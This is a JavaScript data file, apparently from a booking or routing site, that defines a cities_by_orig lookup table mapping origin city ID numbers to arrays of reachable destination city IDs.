cities_by_orig["370"] = new Array('3571','381','641','1143','3565','369','3584','2862','3222','3123','1001','3261','3548','3061','368','2901','601','3201','3127','3301','3583','482','3126','3283','421','3590','3552','3589','3241','581','3531','3532','2461','3410','3463','464','1922','2681','4883','363','3492','3497','1785','2241','1821','3503','661','362','821','3505','3506','370','2762','364','1162','2601','1021','3467','1041','1166','2841','3507','441','842','1172','481','3405','1170','2764','2763','3418','3427','2741','501','4465','1661','3527','2501','2441','881','841','3508','367','981','1961','1167','1281','3449','1282','2922','3512','2141','4301','1081','3411','1061','365','861','3529','2941','3487','5181','1781','466','1784','2381','2621','371','3502','4361','3401','663','372','2281','4321','3516','3498','3519','3181','741','921','2961','621','2421','761','2721','401','3423','3452','1305','2581','361','366','541','2061','662','1782','901','465','462','3496','463','4221','721','461','3511','3451','2527','2041','1801');
cities_by_orig["2581"] = new Array('381','1143','2862','3222','3558','368','3201','3301','482','421','3531','3410','3463','464','1922','2681','363','3497','1785','2241','1821','3503','661','362','821','1783','370','2762','364','1162','2601','1021','1041','1166','2841','3507','441','842','1172','481','1170','2764','3418','3427','2741','501','1661','2501','2441','881','841','367','981','1167','1281','3449','1282','2922','2141','1061','365','861','2941','3487','5181','1781','466','1784','2381','2621','371','3502','4361','3401','663','372','2281','4321','3516','3498','3519','3181','741','921','2961','621','2421','761','2642','2721','401','3423','3452','1305','361','366','541','662','1782','901','465','462','3496','463','721','461','3511','2527','2041');
cities_by_orig["4721"] = new Array('381','368','464','1922','2681','363','3497','1785','2241','3503','661','362','821','370','2762','364','1162','1041','1166','842','481','501','1661','841','367','981','1281','1282','2922','2141','1061','365','861','2941','5181','1781','466','1784','371','663','372','2281','741','921','621','2421','761','361','366','541','662','901','465','462','463','461','3511');
cities_by_orig["541"] = new Array('381','1143','3565','701','369','3584','2862','3222','3123','1001','368','2901','601','3201','3301','3583','482','3126','3283','421','3589','581','3531','2461','3410','3463','464','1922','2681','4883','363','3497','2241','1821','3503','661','362','821','3505','3506','1783','370','2762','364','1162','2601','1021','1041','1166','2841','441','842','1172','481','3405','1170','2764','2763','3418','3427','2741','501','4465','1661','3527','2501','2441','881','841','3508','367','981','1167','1281','3449','1282','2922','2141','4301','1081','3411','1741','1061','365','861','2941','3487','5181','1781','2522','466','1784','2381','2621','371','3502','4361','3401','663','372','2281','4321','3516','3498','3181','741','921','2961','621','2421','761','2642','2721','401','3423','3452','2581','361','366','541','662','1782','901','465','462','3496','463','721','461','3511','3451','2527','2041','1801');
cities_by_orig["1081"] = new Array('381','1143','368','464','1922','2681','363','3497','2241','3503','661','362','821','370','2762','364','1162','1021','1041','1166','842','481','501','1661','2441','841','367','981','1281','1282','2922','2141','1061','365','861','5181','466','371','4361','663','372','2281','3498','3519','3181','741','921','621','2421','761','3423','1305','361','366','541','662','901','465','462','3496','463','461','2041');
cities_by_orig["3501"] = new Array('381','368','464','1922','2681','363','1785','2241','3503','661','362','821','370','2762','364','1162','1041','1166','842','481','2764','501','1661','841','367','981','1281','1282','2922','2141','1061','365','861','2941','1781','466','1784','371','663','372','2281','3498','741','921','621','2421','761','361','366','541','662','901','465','462','463','461','2041','1801');
cities_by_orig["2721"] = new Array('381','1143','701','2862','3558','368','601','3201','3301','482','421','3552','3531','3410','464','1922','2681','363','3497','2241','3503','661','362','821','1783','370','2762','364','1162','2601','1021','3467','1041','1166','2841','3507','842','1172','481','1170','3427','501','1661','2501','2441','841','367','1961','1281','3449','1282','2922','3512','2141','3411','1741','1061','365','861','3529','2941','1781','466','2621','371','3401','663','372','2281','4321','3498','3519','3181','741','921','621','2421','761','401','3423','3452','1305','2581','361','366','541','662','901','465','462','3496','463','4221','461','2527','2041');
cities_by_orig["3423"] = new Array('381','1143','2862','3222','3558','368','482','421','3531','3410','464','1922','2681','363','3497','1785','2241','1821','3503','661','362','821','1783','370','2762','364','1162','2601','1021','1041','1166','441','842','1172','481','3427','2741','501','4465','1661','3527','2441','841','367','981','1167','1281','3449','1282','2922','2141','4301','1081','1061','365','861','2941','3487','5181','1781','466','1784','2381','2621','371','3502','4361','3401','663','372','2281','4321','3498','3519','3181','741','921','621','2421','761','2721','2581','361','366','541','662','901','465','462','3496','463','721','461','3511','3451','2527','2041');
cities_by_orig["2601"] = new Array('381','3558','3261','368','3301','482','421','3531','3410','464','1922','2681','363','2241','1821','661','362','821','1783','370','2762','364','1162','1021','3467','1041','1166','842','481','1170','501','1661','2441','841','367','1167','1281','1282','2922','2141','1061','365','861','5181','1781','2522','466','2621','371','3502','663','372','2281','3498','3181','741','921','621','2421','761','2642','2721','401','3423','3452','1305','2581','361','366','541','662','1782','901','465','462','3496','463','461');
cities_by_orig["4741"] = new Array('381','2862','368','482','3531','3410','464','1922','2681','363','3497','1785','2241','3503','661','362','821','1783','370','2762','364','1162','2601','1021','1041','1166','441','842','1172','481','3427','2741','501','1661','3527','2441','841','367','981','1167','1281','3449','1282','2922','2141','1741','1061','365','861','2941','3487','5181','1781','466','1784','2381','2621','371','3502','4361','3401','663','372','2281','4321','3498','3519','3181','741','921','621','2421','761','2721','3423','1305','2581','361','366','541','662','901','465','462','3496','463','721','461','3511','3451','2527','2041');
cities_by_orig["1162"] = new Array('381','641','1143','2862','3558','368','3301','482','2881','421','3552','3555','681','3531','3532','3410','3463','464','1922','2681','4883','363','3497','1785','2241','661','362','821','1783','370','2762','364','1162','1041','1166','441','842','481','3405','1170','2764','3418','3427','501','4465','1661','3527','2501','2441','841','3508','367','981','1167','1281','1282','2922','3512','2141','4301','1081','3411','1061','365','861','3529','2941','3487','5181','1781','2522','466','2381','2621','371','3502','3401','663','372','2281','3498','3519','741','921','2961','621','2421','761','2642','2721','401','3423','3452','1305','2581','361','366','541','662','1782','901','465','462','3496','463','4221','721','461','3451','1801');
cities_by_orig["3503"] = new Array('381','3565','2862','3123','368','2901','3301','482','3126','421','3590','3589','3531','3532','3410','464','1922','2681','363','2241','1821','661','821','3506','1783','370','2762','364','1162','2601','1021','1041','1166','2841','842','1172','481','1170','2764','2763','3418','3427','2741','501','1661','2441','841','3508','367','981','1281','3449','1282','2922','2141','4301','3411','1061','365','861','2941','5181','1781','466','2621','371','3502','663','372','2281','4321','3498','3519','3181','741','921','621','2421','761','2721','401','3423','3452','2581','361','366','541','662','901','465','462','3496','463','461','3511','2527','2041','1801');
cities_by_orig["3496"] = new Array('381','641','1143','3565','701','2862','3222','3123','3558','3261','368','3301','482','3126','3223','421','681','3531','3410','464','1922','2681','363','3497','1785','2241','3503','661','362','821','1783','370','2762','364','1162','2601','1021','3467','1041','1166','2841','441','842','1172','481','3405','1170','2764','2763','3427','501','1661','2441','841','3508','367','1961','1167','1281','3449','1282','2922','2141','4301','1061','365','861','2941','3487','5181','1781','466','1784','2621','371','3502','4361','3401','663','372','2281','3516','3498','3519','3181','741','921','2961','621','2421','761','2642','2721','401','3423','3452','1305','2581','361','366','541','662','1782','901','465','462','463','721','461','2527','2041');
cities_by_orig["3427"] = new Array('381','1143','2862','3558','368','601','3301','482','3126','3410','464','1922','2681','4883','363','1785','2241','3503','661','362','821','1783','370','2762','364','1162','1021','1041','1166','842','1172','481','1170','2764','501','1661','3527','2441','841','367','981','1167','1281','3449','1282','2922','2141','1081','1741','1061','365','861','3487','1781','466','1784','2621','371','4361','663','372','2281','4321','3181','741','921','621','2421','761','401','3423','3452','2581','361','366','541','662','1782','901','465','462','3496','463','721','461','3451','2527','2041');
cities_by_orig["2642"] = new Array('381','1143','369','3558','368','581','3410','464','1922','363','2241','661','362','821','370','2762','364','1162','2601','1021','1041','1166','842','1172','481','501','1661','2441','841','367','981','1281','1282','2922','2141','1061','365','861','2941','5181','466','2381','371','663','372','2281','4321','3498','921','621','2421','401','3423','3452','1305','2581','361','366','541','662','901','465','462','3496','463','461','2041');
cities_by_orig["4761"] = new Array('381','2862','3558','368','3201','3301','482','3531','3410','464','1922','2681','363','3497','1785','2241','3503','661','362','821','1783','370','2762','364','1162','2601','1021','1041','1166','441','842','1172','481','3427','2741','501','1661','2441','841','367','1167','1281','3449','1282','2922','2141','1061','365','861','2941','1781','466','2621','371','3502','3401','663','372','2281','4321','3498','3519','3181','741','921','621','2421','761','2721','3423','1305','2581','361','366','541','662','901','465','462','3496','463','721','461','3511','3451','2527','2041');
cities_by_orig["661"] = new Array('381','1143','3565','3584','2862','1001','3558','368','2901','3301','3583','482','3126','3223','3283','3590','3589','581','3532','2461','3410','3463','464','1922','2681','363','3492','3497','1785','2241','1821','3503','661','362','821','3505','3506','1783','370','2762','364','1162','1021','1041','1166','2841','441','842','1172','481','1170','2764','2763','3418','3427','2741','501','1661','2501','2441','881','841','3508','367','981','1961','1167','1281','3449','1282','2922','2141','4301','3411','1061','365','861','2941','3487','5181','1781','466','1784','2621','371','3502','4361','663','372','2281','4321','3516','3498','3519','3181','741','921','621','2421','761','2721','401','3423','3452','1305','2581','361','366','541','2061','662','901','465','462','3496','463','721','461','3511','2527','2041','1801');
cities_by_orig["1167"] = new Array('381','1143','701','2862','3558','368','421','3410','464','1922','2681','363','2241','661','362','821','370','2762','364','1162','1021','1041','1166','842','481','1170','2764','501','1661','2441','841','367','981','1281','3449','1282','2922','2141','1061','365','861','1781','466','1784','2621','371','3502','4361','663','372','2281','4321','3181','741','921','2961','621','2421','761','401','3423','3452','2581','361','366','541','662','1782','901','465','462','3496','463','461','2527','2041');
cities_by_orig["3505"] = new Array('381','368','464','1922','2681','363','3503','661','362','821','1783','370','2762','364','1162','1041','1166','842','481','2764','2763','2741','501','1661','841','367','981','1281','1282','2922','2141','1061','365','861','5181','466','1784','371','663','372','2281','741','921','621','2421','761','361','366','541','662','901','465','462','463','461');
cities_by_orig["3502"] = new Array('381','1143','701','2862','3261','368','3201','3301','482','421','3531','3410','464','1922','2681','363','2241','1821','3503','661','362','821','370','2762','364','1162','2601','1021','1041','1166','2841','3507','441','842','1172','481','1170','2741','501','1661','2441','841','367','981','1167','1281','3449','1282','2922','2141','1061','365','861','2941','3487','5181','1781','2522','466','1784','371','663','372','2281','4321','3498','3519','3181','741','921','621','2421','761','401','3423','3452','1305','2581','361','366','541','662','901','465','462','3496','463','721','461','2527','2041');
cities_by_orig["3432"] = new Array('381','1143','368','464','1922','2681','363','2241','661','362','821','370','2762','364','1162','2601','1021','1041','1166','842','1172','481','501','1661','841','367','981','1281','3449','1282','2922','2141','1061','365','861','466','371','663','372','2281','741','921','621','2421','761','2721','3423','2581','361','366','541','662','901','465','3496','463','461','2041');
cities_by_orig["2701"] = new Array('381','368','464','1922','2681','363','661','362','821','370','2762','364','1162','2601','1021','1041','1166','842','1172','481','501','1661','2441','841','367','1281','1282','2922','2141','1061','365','861','2941','1781','466','371','663','372','2281','3498','3519','741','921','621','2421','761','3423','1305','361','366','541','662','901','465','463','461');
cities_by_orig["4883"] = new Array('381','368','464','1922','2681','661','362','821','370','2762','364','1162','1041','1166','842','481','501','1661','841','367','1281','1282','2922','2141','1061','365','861','371','663','372','2281','741','921','621','2421','761','361','366','541','662','901','465','463','461','3511');
cities_by_orig["1170"] = new Array('381','1143','2862','3222','3558','368','482','3531','3410','464','1922','2681','363','3497','1785','2241','1821','3503','661','362','821','1783','370','2762','364','1162','2601','1041','1166','441','842','1172','481','3427','2741','501','1661','2441','841','367','981','1167','1281','3449','1282','2922','2141','1061','365','861','2941','3487','5181','1781','466','1784','2381','2621','371','3502','4361','3401','663','372','2281','4321','3498','3519','3181','741','921','621','2421','761','2721','1305','2581','361','366','541','662','901','465','462','3496','463','721','461','3511','2527','2041');
cities_by_orig["3506"] = new Array('381','368','482','421','464','1922','2681','363','3497','3503','661','362','821','1783','370','2762','364','1162','1041','1166','842','481','2764','2763','501','1661','2441','841','367','981','1281','1282','2922','2141','1061','365','861','2941','5181','1781','466','1784','371','663','372','2281','4321','3498','741','921','621','2421','761','361','366','541','662','901','465','462','463','461','3511','2041');
cities_by_orig["3442"] = new Array('381','1143','368','464','1922','2681','363','1785','2241','661','362','821','370','2762','364','1162','1021','1041','1166','842','481','501','1661','2441','841','367','981','1281','1282','2922','2141','1061','365','861','5181','466','371','4361','663','372','2281','3498','3181','741','921','621','2421','761','2721','3423','361','366','541','662','901','465','463','461','1801');
cities_by_orig["2741"] = new Array('381','368','3531','2461','3410','464','1922','2681','363','1785','2241','3503','661','362','821','370','2762','364','1162','1021','1041','1166','842','481','3427','501','1661','3527','841','367','981','1281','1282','2922','2141','1061','365','861','2941','5181','1781','466','1784','2621','371','3502','663','372','2281','4321','741','921','621','2421','761','2721','401','3423','3452','2581','361','366','541','662','901','465','462','463','461','3511','3451','1801');
cities_by_orig["5271"] = new Array('381','368','464','1922','2681','363','1785','2241','3503','661','362','821','1783','370','2762','364','1162','2601','1041','1166','842','481','501','1661','2441','841','367','981','1281','1282','2922','2141','1061','365','861','2941','1781','466','1784','371','663','372','2281','3498','741','921','621','2421','761','3423','361','366','541','662','901','465','462','3496','463','461','2527','2041','1801');
cities_by_orig["1305"] = new Array('381','1143','368','3410','3463','464','1922','2681','363','3497','2241','3503','661','362','821','1783','370','2762','364','1162','2601','1021','1041','1166','2841','441','842','1172','481','1170','2764','3418','3427','501','1661','2501','2441','881','841','367','981','1167','1281','3449','1282','2922','2141','1061','365','861','2941','3487','5181','1781','466','2381','2621','371','3502','4361','3401','663','372','2281','4321','3516','3181','741','921','2961','621','2421','761','2721','2581','361','366','541','662','901','465','462','463','721','461','2041');
cities_by_orig["3507"] = new Array('381','1143','368','464','1922','2681','363','661','362','821','370','2762','364','1162','1041','1166','842','481','501','1661','2501','2441','841','367','981','1167','1281','3449','1282','2922','2141','1061','365','861','3487','5181','466','2381','2621','371','3502','4361','3401','663','372','2281','4321','3516','3498','3519','3181','741','921','2961','621','2421','761','2721','3423','1305','2581','361','366','541','662','901','465','463','461','2041');
cities_by_orig["3444"] = new Array('381','1143','368','464','1922','2681','363','2241','661','362','821','370','2762','364','1162','2601','1041','1166','842','481','501','1661','3527','841','367','981','1281','1282','2922','2141','1061','365','861','3487','5181','466','371','4361','663','372','2281','3498','3519','3181','741','921','2961','621','2421','761','2721','3423','3452','1305','361','366','541','662','901','465','462','463','461','3451','2041');
cities_by_orig["2762"] = new Array('381','3221','641','1143','3565','701','2862','3558','3261','3548','368','2901','3201','3301','3583','482','2881','3223','421','3552','3555','681','3531','3410','3463','464','1922','2681','363','3497','1785','2241','1821','3503','661','362','821','1783','370','2762','364','1162','2601','1021','3467','1041','1166','2841','3507','441','842','1172','481','3405','1170','2764','2763','3418','3427','2741','501','4465','1661','3527','2501','2441','881','841','3508','367','981','1281','3449','1282','2922','3512','2141','4301','1081','3411','1741','1061','365','861','2941','1781','2522','466','1784','2621','371','3502','3401','663','372','2281','4321','3516','3498','3519','3181','741','921','2961','621','2421','761','401','3423','3452','1305','2581','361','366','541','662','1782','901','465','462','3496','463','4221','461','3451','2527','2041');
cities_by_orig["5272"] = new Array('381','368','464','1922','2681','363','1785','2241','3503','661','362','821','370','2762','364','1162','2601','1021','1041','1166','842','481','501','1661','3527','2441','841','367','981','1281','1282','2922','2141','1061','365','861','5181','1781','466','1784','371','4361','663','372','2281','3498','3519','741','921','621','2421','761','3423','361','366','541','662','901','465','462','463','461','3451','2041','1801');
cities_by_orig["841"] = new Array('381','641','3565','3584','2862','3222','3123','3558','3261','368','2901','601','3201','3301','3583','482','2881','3283','421','3590','3552','3589','681','3531','3532','3410','464','1922','2681','363','3497','1785','2241','3503','661','362','821','1783','370','2762','364','1162','2601','1021','3467','1041','1166','842','1172','481','3405','1170','3427','501','1661','2501','2441','841','3508','367','981','1167','1281','3449','1282','2922','2141','3411','1741','1061','365','861','3529','2941','3487','5181','1781','2522','466','1784','2621','371','3502','3401','663','372','2281','4321','3498','3519','3181','741','921','2961','621','2421','761','2642','2721','401','3423','3452','1305','2581','361','366','541','662','1782','901','465','462','3496','463','721','461','2041','1801');
cities_by_orig["1721"] = new Array('381','1143','368','464','1922','2681','363','2241','661','362','821','370','2762','364','1162','1021','1041','1166','842','481','1170','2764','501','1661','2441','841','367','981','1167','1281','1282','2922','2141','1061','365','861','2941','5181','1781','466','371','4361','663','372','2281','4321','3498','3519','3181','741','921','621','2421','761','2721','401','3423','1305','2581','361','366','541','662','901','465','462','3496','463','461','2041');
cities_by_orig["3508"] = new Array('381','1143','368','482','421','464','1922','2681','363','3497','1785','2241','3503','661','362','821','1783','370','2762','364','1162','1021','1041','1166','842','1172','481','2764','501','1661','2441','841','367','981','1281','3449','1282','2922','2141','1061','365','861','2941','3487','5181','1781','466','2381','2621','371','3502','663','372','2281','4321','3498','741','921','621','2421','761','2721','3423','361','366','541','662','901','465','462','3496','463','461','2041');
cities_by_orig["741"] = new Array('381','641','3542','1143','3565','369','2862','3222','3558','3261','3061','368','2901','601','3201','3127','3301','482','2881','3223','421','3555','681','3241','581','3410','464','1922','363','3497','1785','2241','1821','3503','661','362','821','370','2762','364','1162','2601','1021','3467','1041','1166','3507','441','842','1172','481','3405','1170','2764','2763','3427','501','1661','2441','881','841','3508','367','981','1961','1167','1281','3449','1282','2922','2141','4301','3411','1061','365','861','3529','2941','3487','5181','1781','466','1784','2381','371','663','372','2281','4321','3498','3519','921','2961','621','2421','2721','401','3423','3452','1305','2581','361','366','541','662','901','465','462','3496','463','461','2527','2041');
cities_by_orig["3445"] = new Array('381','2862','3222','368','482','421','3531','2461','3410','464','1922','2681','363','1785','2241','1821','3503','661','362','821','1783','370','2762','364','1162','2601','1021','1041','1166','842','481','3427','2741','501','1661','3527','2441','841','367','981','1281','1282','2922','2141','1061','365','861','2941','5181','1781','466','1784','371','663','372','2281','3498','3519','741','921','621','2421','761','3423','361','366','541','662','901','465','462','3496','463','461','3511','2527','1801');
cities_by_orig["861"] = new Array('381','641','1143','3565','701','369','3584','2862','3222','3123','1001','3261','3548','3061','368','2901','601','3201','3127','3301','3583','482','2881','3126','3223','3283','421','3590','3552','3589','681','581','3531','2461','3410','3463','464','1922','2681','363','3497','1785','2241','1821','3503','661','362','821','1783','370','2762','364','1162','2601','1021','3467','1041','1166','2841','3507','441','842','1172','481','2764','3418','3427','2741','501','1661','2501','2441','881','841','3508','367','981','1961','1167','1281','3449','1282','2922','3512','2141','4301','3411','1741','1061','365','861','2941','3487','5181','1781','2522','466','1784','2381','2621','371','3502','4361','3401','663','372','2281','4321','3516','3498','3519','3181','741','921','2961','621','2421','761','2642','2721','401','3423','3452','2581','361','366','541','662','1782','901','465','462','463','721','461','2527','2041','1801');
cities_by_orig["2763"] = new Array('381','368','3531','464','1922','2681','363','3497','1785','2241','3503','661','362','821','1783','370','2762','364','1162','1021','1041','1166','842','481','3427','2741','501','1661','2441','841','367','981','1281','3449','1282','2922','2141','1061','365','861','2941','5181','1781','466','371','663','372','2281','4321','3498','3519','741','921','621','2421','761','3423','361','366','541','662','901','465','462','3496','463','461','3511','2041');
cities_by_orig["5301"] = new Array('381','368','464','1922','2681','363','1785','2241','3503','661','362','821','370','2762','364','1162','1021','1041','1166','842','481','501','1661','2441','841','367','981','1281','1282','2922','2141','1061','365','861','1781','466','371','663','372','2281','741','921','621','2421','761','3423','361','366','541','662','901','465','462','463','461','2041','1801');
cities_by_orig["1741"] = new Array('381','368','464','1922','2681','363','2241','661','362','821','370','2762','364','1162','1021','1041','1166','842','481','2764','3418','3427','501','1661','2441','841','367','981','1281','3449','1282','2922','2141','1061','365','861','2941','3487','5181','466','2621','371','3502','663','372','2281','4321','3498','3519','741','921','621','2421','761','2721','361','366','541','662','901','465','462','463','461','2527','2041');
cities_by_orig["3509"] = new Array('381','2862','3558','368','3201','3301','482','3531','3410','464','1922','2681','363','3497','1785','2241','3503','661','362','821','1783','370','2762','364','1162','2601','1021','1041','1166','3507','441','842','1172','481','3427','2741','501','1661','2441','841','367','981','1167','1281','3449','1282','2922','2141','1741','1061','365','861','2941','3487','5181','1781','466','2381','2621','371','3502','4361','3401','663','372','2281','4321','3498','3519','3181','741','921','621','2421','761','2721','3423','1305','2581','361','366','541','662','901','465','462','3496','463','721','461','2527','2041');
cities_by_orig["362"] = new Array('381','641','3542','1143','3565','701','369','3584','2862','3222','3123','1001','3558','3261','3548','3061','368','2901','1163','601','3201','3127','3301','482','3126','3223','3283','2981','421','3590','3552','3589','3241','581','3531','3532','2461','3410','3463','464','1922','2681','363','1785','2241','1821','661','821','3505','3506','1783','370','2762','364','1162','2601','1021','3467','1041','1166','2841','3507','441','842','1172','481','1170','2764','2763','3418','3427','2741','3464','501','4465','1661','3527','2501','2441','881','841','3508','367','981','1961','1167','1281','3449','1282','2922','3512','2141','4301','1081','3411','1741','1061','365','861','3529','2941','3487','5181','1781','466','1784','2381','2621','371','3502','4361','3401','663','372','2281','4321','3516','3498','3519','3181','741','921','2961','621','2421','761','2642','2721','401','3423','3452','1305','2581','361','366','541','2061','662','1782','901','465','462','3496','463','4221','721','461','3451','2527','2041','1801');
cities_by_orig["1781"] = new Array('381','1143','3565','2862','3222','3123','3558','368','2901','601','482','3126','421','3531','3410','464','1922','2681','4883','363','3497','2241','3503','661','362','821','3506','370','2762','364','1162','1021','1041','1166','2841','441','842','1172','481','1170','2764','2763','3427','501','4465','1661','3527','2441','841','367','1167','1281','3449','1282','2922','2141','1081','3411','1061','365','861','3487','5181','466','2381','2621','371','3502','4361','663','372','2281','4321','3519','3181','741','921','2961','621','2421','761','2721','401','3423','3452','1305','2581','361','366','541','662','901','465','462','3496','463','461','3511','3451','2041','1801');
cities_by_orig["3449"] = new Array('381','641','1143','2862','3558','368','3201','3301','3531','3410','464','1922','2681','363','3497','1785','2241','1821','661','362','821','1783','370','2762','364','1162','1021','3467','1041','1166','2841','3507','441','842','1172','481','1170','2764','2741','501','4465','1661','3527','2441','841','3508','367','981','1961','1167','1281','1282','2922','2141','1081','1741','1061','365','861','3529','2941','3487','5181','1781','2522','466','1784','2381','2621','371','3502','4361','663','372','2281','4321','3498','3519','3181','741','921','2961','621','2421','761','2721','401','3423','3452','1305','2581','361','366','541','662','901','465','462','3496','463','721','461','2527','2041');
cities_by_orig["2764"] = new Array('381','2862','3558','368','482','421','3531','3410','464','1922','2681','363','3497','1785','2241','3503','661','362','821','1783','370','2762','364','1162','1021','1041','1166','441','842','481','3427','2741','501','4465','1661','3527','2441','841','367','981','1167','1281','3449','1282','2922','2141','1081','1061','365','861','2941','3487','5181','1781','466','2381','2621','371','3502','4361','3401','663','372','2281','4321','3498','3519','3181','741','921','621','2421','761','3423','1305','2581','361','366','541','662','901','465','462','3496','463','721','461','3511','2527','2041');
cities_by_orig["5421"] = new Array('381','368','464','1922','2681','363','2241','661','362','821','370','2762','364','1162','1041','1166','842','481','501','1661','2441','841','367','981','1281','1282','2922','2141','1061','365','861','2941','466','371','663','372','2281','3498','741','921','621','2421','761','3423','361','366','541','662','1782','901','465','462','463','461','2041');
cities_by_orig["1782"] = new Array('381','2862','3222','3558','368','482','421','3531','3410','464','1922','2681','4883','363','3497','1785','2241','1821','3503','661','362','821','1783','370','2762','364','1162','2601','1021','1041','1166','441','842','1172','481','3427','2741','501','4465','1661','3527','2441','841','367','981','1167','1281','3449','1282','2922','2141','1081','1061','365','861','2941','3487','5181','466','1784','2381','2621','371','3502','4361','3401','663','372','2281','4321','3498','3519','3181','741','921','621','2421','761','2721','3423','2581','361','366','541','662','901','465','462','3496','463','461','3511','2527','2041','1801');
cities_by_orig["3511"] = new Array('381','368','3410','464','1922','2681','4883','363','1785','2241','1821','3503','661','362','821','1783','370','2762','364','1162','1021','1041','1166','842','481','3427','2741','501','1661','3527','2441','841','367','981','1167','1281','1282','2922','2141','1061','365','861','2941','1781','466','1784','2621','371','663','372','2281','4321','741','921','621','2421','761','2721','401','3423','3452','2581','361','366','541','662','901','465','462','3496','463','461','3451','1801');
cities_by_orig["1922"] = new Array('381','1143','3565','368','2901','3301','3590','3531','2461','3410','464','1922','2681','363','3497','2241','3503','661','362','821','370','2762','364','1162','1021','1041','1166','441','842','1172','481','3405','1170','3427','501','4465','1661','2441','841','3508','367','981','1167','1281','3449','1282','2922','2141','1061','365','861','2941','3487','5181','466','1784','371','3502','663','372','2281','4321','3181','741','921','2961','621','2421','761','401','3423','3452','2581','361','366','541','662','901','465','462','3496','463','461','2527','2041','1801');
cities_by_orig["3451"] = new Array('381','368','464','1922','2681','363','2241','661','362','821','370','2762','364','1162','2601','1021','1041','1166','842','481','501','1661','2441','841','367','981','1281','3449','1282','2922','2141','1061','365','861','2941','5181','466','371','4361','663','372','2281','4321','3498','3519','3181','741','921','621','2421','761','3423','361','366','541','662','901','465','462','463','461');
cities_by_orig["921"] = new Array('381','3584','2862','368','2901','1163','601','3301','482','3126','3283','3590','3589','581','3532','2461','3410','3463','464','1922','2681','4883','363','3492','3497','1785','2241','1821','3503','661','362','821','3506','1783','370','2762','364','1162','1021','1041','1166','2841','842','1172','481','1170','2764','2763','3418','3427','2741','3464','501','4465','1661','3527','2501','2441','881','841','3508','367','981','1961','1167','1281','3449','1282','2922','2141','4301','1081','3411','1061','365','861','3529','2941','3487','5181','1781','466','1784','2381','2621','371','3502','4361','663','372','2281','4321','3498','3519','3181','741','921','2961','621','2421','761','2721','401','3423','3452','2581','361','366','541','662','1782','901','465','462','3496','463','721','461','3511','3451','2041','1801');
cities_by_orig["2841"] = new Array('381','1143','2862','3222','3558','368','3301','482','3410','464','1922','2681','363','3497','1785','2241','1821','3503','661','362','821','1783','370','2762','364','1162','2601','1021','1041','1166','441','842','1172','481','3427','501','1661','2441','841','367','981','1167','1281','3449','1282','2922','2141','1061','365','861','2941','3487','5181','1781','466','1784','2381','2621','371','3502','4361','3401','663','372','2281','4321','3498','3519','3181','741','921','621','2421','761','2721','3423','1305','2581','361','366','541','662','901','465','462','3496','463','461','2527','2041','1801');
cities_by_orig["5725"] = new Array('381','2862','368','464','1922','2681','363','3497','1785','2241','3503','661','362','821','370','2762','364','1162','1021','1041','1166','842','481','501','1661','2441','841','367','981','1281','1282','2922','2141','1061','365','861','2941','466','371','663','372','2281','3519','741','921','621','2421','761','2581','361','366','541','662','901','465','462','463','461');
cities_by_orig["1783"] = new Array('381','1143','2862','3123','368','2901','3126','3531','2461','3410','464','1922','2681','4883','363','3497','1785','2241','3503','661','362','821','370','2762','364','1162','1021','1041','1166','2841','842','1172','481','1170','2764','2763','501','4465','1661','3527','2441','841','3508','367','981','1167','1281','3449','1282','2922','2141','1081','1061','365','861','2941','5181','1781','466','1784','2621','371','663','372','2281','4321','3498','3519','3181','741','921','621','2421','761','2721','401','3423','3452','2581','361','366','541','662','901','465','462','3496','463','461','3451','2527','2041','1801');
cities_by_orig["3512"] = new Array('381','1143','368','482','421','464','1922','2681','363','3497','1785','2241','3503','661','362','821','370','2762','364','1162','1021','1041','1166','842','481','501','1661','841','367','981','1281','1282','2922','2141','1061','365','861','5181','466','371','663','372','2281','741','921','621','2421','761','2721','3423','361','366','541','662','901','465','462','3496','463','461','2041','1801');
cities_by_orig["2681"] = new Array('381','2862','3061','368','601','482','421','3575','3410','464','1922','363','2241','661','362','821','3506','370','2762','364','1162','1021','1041','1166','441','842','481','2764','501','1661','841','367','981','1281','1282','2922','2141','4301','1061','365','861','2941','5181','1781','466','1784','371','663','372','2281','3519','921','621','2421','401','3423','3452','2581','361','366','541','662','901','465','462','463','461','2527');
cities_by_orig["3452"] = new Array('381','1143','2862','3222','3558','368','3201','3301','482','3223','421','3531','3410','464','1922','2681','363','3497','1785','2241','1821','3503','661','362','821','1783','370','2762','364','1162','2601','1021','1041','1166','441','842','1172','481','3427','2741','501','1661','3527','2441','841','367','981','1167','1281','3449','1282','2922','2141','1081','1061','365','861','2941','3487','5181','1781','466','1784','2381','2621','371','3502','4361','3401','663','372','2281','4321','3498','3519','3181','741','921','621','2421','761','2642','2721','1305','2581','361','366','541','662','901','465','462','3496','463','721','461','3511','2527','2041');
cities_by_orig["1041"] = new Array('381','3221','641','3542','1143','3565','369','3584','2862','3222','3123','1001','3261','3548','3061','368','2901','1163','601','3201','3127','3301','3583','482','2881','3126','3223','3283','2981','421','3590','3552','3589','3641','3555','681','3241','581','3531','3532','2461','3410','3463','464','1922','2681','363','3497','1785','2241','1821','3503','661','362','821','3505','3506','1783','370','2762','364','1162','1021','3467','1041','1166','2841','441','842','481','3405','1170','2764','2763','3418','3427','501','4465','1661','2501','2441','881','841','3508','367','981','1961','1167','1281','1282','2922','2141','4301','3411','1061','365','861','2941','3487','5181','1781','2522','466','1784','2381','2621','371','3502','3401','663','372','2281','3516','3498','3519','3181','741','921','2961','621','2421','761','2721','401','3423','3452','1305','2581','361','366','541','2061','662','1782','901','465','462','3496','463','4221','721','461','3511','2041');
cities_by_orig["2922"] = new Array('381','641','1143','2862','3222','3123','3261','3548','368','601','3201','3301','482','3126','421','3531','2461','3410','464','1922','2681','363','3497','2241','1821','3503','661','362','821','1783','370','2762','364','1162','1021','3467','1041','1166','2841','3507','441','842','1172','481','3405','1170','2764','2763','2741','501','1661','2501','2441','881','841','3508','367','981','1961','1167','1281','3449','1282','2922','2141','4301','3411','1741','1061','365','861','3487','5181','1781','466','1784','2381','2621','371','3502','4361','663','372','2281','4321','3181','741','921','2961','621','2421','761','2642','2721','401','3423','3452','1305','2581','361','366','541','662','1782','901','465','462','3496','463','721','461','3511','2527','2041','1801');
